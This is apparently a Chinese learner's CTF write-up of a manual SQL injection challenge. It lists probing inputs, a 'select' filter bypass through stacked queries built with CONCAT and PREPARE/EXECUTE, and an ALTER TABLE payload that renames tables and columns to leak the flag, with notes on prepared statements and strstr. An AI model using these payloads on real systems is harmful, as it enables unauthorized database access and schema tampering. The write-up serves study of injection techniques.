最近一直在学sql注入
尝试练练ctf题中的sql注入,因为自己自动化工具还是不太会玩,所以选择一些纯手工注入的题在这里插入代码片
1' 报错
1'# 正常
1' or 1=1#正常,表中所有数据显露
1' and 1=2#报错
1' and 1=1#正常
可以得知存在注入
1' order by 1#
通过更改 by后参数可知2列
-1'union select 1,2;#
既然select 被过滤了那么就用show命令试试
-1';show tables;#-
-1';show columns from `words`#这里插入代码片
-1';show columns from `1919810931114514`#
这里是最重要的一步,有两种方法
第一种 mysql预制语句配合堆叠注入以及strstr()函数漏洞
payload
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆开看
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#
-1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;
#
第二种
通过alter修改列名和表名
已知信息是flag列名所在表名为‘1919810931114514’
而我们通过id查到的数据我们可以猜测为words表单
所以我们可以猜测后端sql查询语言为
select * from words where id= '';
所以我们不妨1919810931114514表名把改为words;flag列名改为id,那么就可以得到flag了
所以payload为
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(30);#
wp引用学习来自http://www.saucer-man.com/information_security/302.html
对堆叠注入不了解
在SQL中,分号(;)是用来表示一条sql语句的结束。 ; 结束一个sql语句后继续构造下一条语句,也就造就了堆叠注入。其实就是一次执行多个语句
具体参考堆叠注入
数字表名要加反引号
sql 预处理语句语句的不了解
预制语句的SQL语法基于三个SQL语句:
PREPARE stmt_name FROM preparable_stmt;
预备一个语句,并赋予它名称stmt_name,preparable_stmt可以是一个文字字符串,也可以是一个包含了语句文本的用户变量。
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
使用一个EXECUTE语句(该语句引用了预制语句名称)来执行它。如果预制语句包含任何参数制造符,则您必须提供一个列举了用户变量(其中包含要与参数结合的值)的USING子句
{DEALLOCATE | DROP} PREPARE stmt_name;
要对一个预制语句解除分配,需使用DEALLOCATE PREPARE语句
以下SQL语句可以被用在预制语句中:CREATE TABLE, DELETE, DO, INSERT, REPLACE, SELECT, SET, UPDATE和多数的SHOW语句。目前不支持其它语句。
详细参考sql预处理语句
strstr函数
大小区分不了解
strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
注释:该函数是二进制安全的。
注释:该函数是区分大小写的。如需进行不区分大小写的搜索,请使用 stristr() 函数。
例如
echo strstr("Hello world!","world"); // 输出 world!
?>
详细参考菜鸟教程
sql语法不太了解
尤其是alter的用法
详细参考https://www.w3school.com.cn/sql/sql_alter.asp